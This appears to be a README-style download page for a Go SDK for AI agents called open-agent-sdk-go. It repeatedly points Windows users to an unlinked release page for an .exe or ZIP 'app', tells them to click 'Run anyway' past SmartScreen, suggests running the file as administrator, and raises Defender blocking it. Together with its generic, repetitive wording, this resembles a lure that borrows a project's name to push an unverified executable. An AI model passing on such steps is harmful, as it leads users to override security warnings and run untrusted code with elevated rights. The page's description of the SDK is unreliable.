Use this link to visit the release page and download the app for Windows:
open-agent-sdk-go is a Go-based SDK for building AI agents. It runs the agent loop inside your app, so you do not need a separate command-line tool. It is built for users who want to run agent workflows on Windows with a simple setup.
You can use it to:
- Run AI agent tasks in one place
- Work with tools like file access, web fetch, search, and message handling
- Connect to AI providers such as Anthropic and OpenAI-compatible services
- Use it in cloud apps, local apps, Docker, or CI systems
Before you download and run the app on Windows, make sure you have:
- A Windows PC
- Internet access
- Enough free disk space for the release files
- Permission to open downloaded files on your system
- An AI provider account if the app asks for one during setup
- Open the Releases page
- Find the latest release
- Download the Windows file listed under the release assets
- If the file comes in a ZIP folder, right-click it and choose Extract All
- Open the extracted folder
- Double-click the app file to run it
- If Windows asks for permission, choose Yes
- Follow the on-screen steps to finish setup
If the release gives you a single .exe file:
- Download the
.exefile - Save it to your Downloads folder
- Open Downloads
- Double-click the file
- If SmartScreen appears, choose More info, then Run anyway if you trust the file
- Wait for the app to start
If the release gives you a .zip file:
- Download the
.zipfile - Right-click the file
- Select Extract All
- Open the new folder
- Double-click the app file inside the folder
After you open the app, it may ask for a few setup items:
- AI provider choice
- API key or login token
- Folder access permission
- Network access for web tools
If asked for a key, paste the value from your provider account into the field shown in the app. If the app asks to use a folder, choose a folder you know well, such as Documents or a project folder.
The app can run a full agent loop inside your process. That means it can plan, act, check results, and continue without needing a second tool.
It can work with Anthropic and OpenAI-compatible services. The app tries to detect the provider based on the settings you enter.
The SDK includes tools for common tasks such as:
- Reading files
- Writing files
- Editing text
- Searching folders
- Searching content
- Fetching web pages
- Sending messages
- Managing tasks and plans
- Working with terminals and notebooks
You can control what the app can do. For example, it can ask before it touches files or runs a tool. You can also allow only certain folders.
The app can connect to MCP servers over stdio, HTTP, or SSE. It also supports an in-process SDK server.
You can use open-agent-sdk-go for:
- Building a local AI helper
- Running agent tasks in a server app
- Automating file-based workflows
- Connecting AI tools to a Windows desktop app
- Testing agent behavior in a safe setup
If the app asks for folder access, use these steps:
- Click the folder picker
- Choose the folder you want the app to use
- Confirm the choice
- Keep your files in that folder while you test the app
This helps the app find the files it needs without searching your whole computer.
Try these steps if nothing happens after you open it:
- Make sure the file finished downloading
- Check that the file is not still inside a ZIP folder
- Try running it as an administrator
- Confirm that Windows Defender or another security tool did not block it
- Download the file again from the Releases page
If you plan to use the app with your own files, a simple layout can help:
Documents\open-agent-sdk-go\Documents\open-agent-sdk-go\input\Documents\open-agent-sdk-go\output\Documents\open-agent-sdk-go\logs\
Keep input files in one folder and output files in another. This makes it easier to find what the app created.
The app may help with tasks like:
- Reading a text file
- Making small edits to files
- Fetching a web page
- Searching for a word in a folder
- Tracking steps in a task list
- Talking to a connected agent
Some setups need a key from an AI provider. If that happens:
- Sign in to your provider account
- Open the API key page
- Copy the key
- Paste it into the app when asked
- Save the settings
Keep the key private. Do not share it in chat or email.
- Use a simple folder path with no special characters
- Keep one project in one folder
- Save your work before changing settings
- Use the latest release from the release page
- If the app offers a test run, try that first
To get the Windows version, visit the release page and download the file listed for your system:
After the download finishes:
- Open the file
- Extract it if needed
- Run the app
- Complete any setup prompts
- Start using the agent tools